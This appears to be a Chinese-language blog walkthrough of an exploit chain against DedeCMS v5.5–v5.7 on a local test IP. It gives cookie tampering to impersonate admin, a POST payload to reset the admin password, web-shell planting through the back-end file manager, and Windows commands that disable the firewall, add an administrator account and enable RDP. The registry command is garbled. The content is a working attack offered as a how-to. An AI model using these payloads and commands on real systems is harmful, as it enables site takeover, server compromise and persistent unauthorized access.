日期:2019-08-08 10:20:28
更新:
作者:Bay0net
介绍:
0x01、组合拳拿 shell
漏洞版本:v5.5 - v5.7
前台任意用户密码重置
首先注册一个账户,账户名为 0000001
,此处注册的账户,前面是多个 0,后面是 1 就行。
注册链接:
http://192.168.31.59/member/index_do.php?fmdo=user&dopost=regnew
注册完成后,登录,登录完以后访问个人主页:
http://192.168.31.59/member/index.php?uid=0000001
查看当前的 cookie:

把 DedeUserID
改成自己的账户名,0000001
。
把 DedeUserID__ckMd5
改成 last_vid__ckMd5
的值。
修改后:

修改完成以后,访问个人主页,发现自己已经变成了 admin。
个人主页:http://192.168.31.59/member/

此时,我们已经利用 admin 权限登录到了前台,但是不知道 admin 的密码,如果想修改 admin 的密码,必须知道原密码,所以我们需要利用漏洞来重置前台 admin 用户的密码。
前台用户密码重置
把 burp 打开,然后利用下面的 payload,拿到修改密码的链接。
利用 hackerbar 去发送 payloa。

# URL
http://192.168.31.59/member/resetpassword.php
# POST 的数据
dopost=safequestion&safequestion=0.0&safeanswer=&id=1
放过 POST 的数据包,burp 就会抓到修改密码的数据包。

在浏览器中访问,即可重置用户的密码。(忘了截图,网上找了个,注意 IP 地址要改成自己的。)

此时,我们拥有了前台 admin 账户的密码。
修改后台 admin 密码
dedecms 在修改密码时,如果前台的用户是 admin,那么前台修改 admin 的密码,后台 admin 的密码也会变。
访问下面的页面,修改 admin 的密码,前后台 admin 密码会一起修改。
http://192.168.31.59/member/edit_baseinfo.php
利用修改的密码登录后台:
http://192.168.31.59/dede
后台拿 shell
访问后台,利用刚才修改的密码登录。
后台地址:192.168.31.59/dede/
依次选择模块 -> 文件管理器 -> 新建文件

写入一句话,然后保存。

成功上传一句话,可以执行。

提权
菜刀连接一句话,使用虚拟终端执行以下命令。
# 使用命令关闭防火墙
netsh advfirewall set allprofiles state off
# 重置管理员密码
net user administrator qwe123...
# 也可以新建账户,提到管理员组。
# 不如直接重置管理员密码方便,密码复杂度有问题的话新建还会出错。
net user gp001 qwe123... /add
net localgroup administrators gp001 /add
# 如果没开 3389 的话,需要用命令开启 3389
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
利用刚才新建的账户/密码,或者重置的管理员密码,远程连接即可。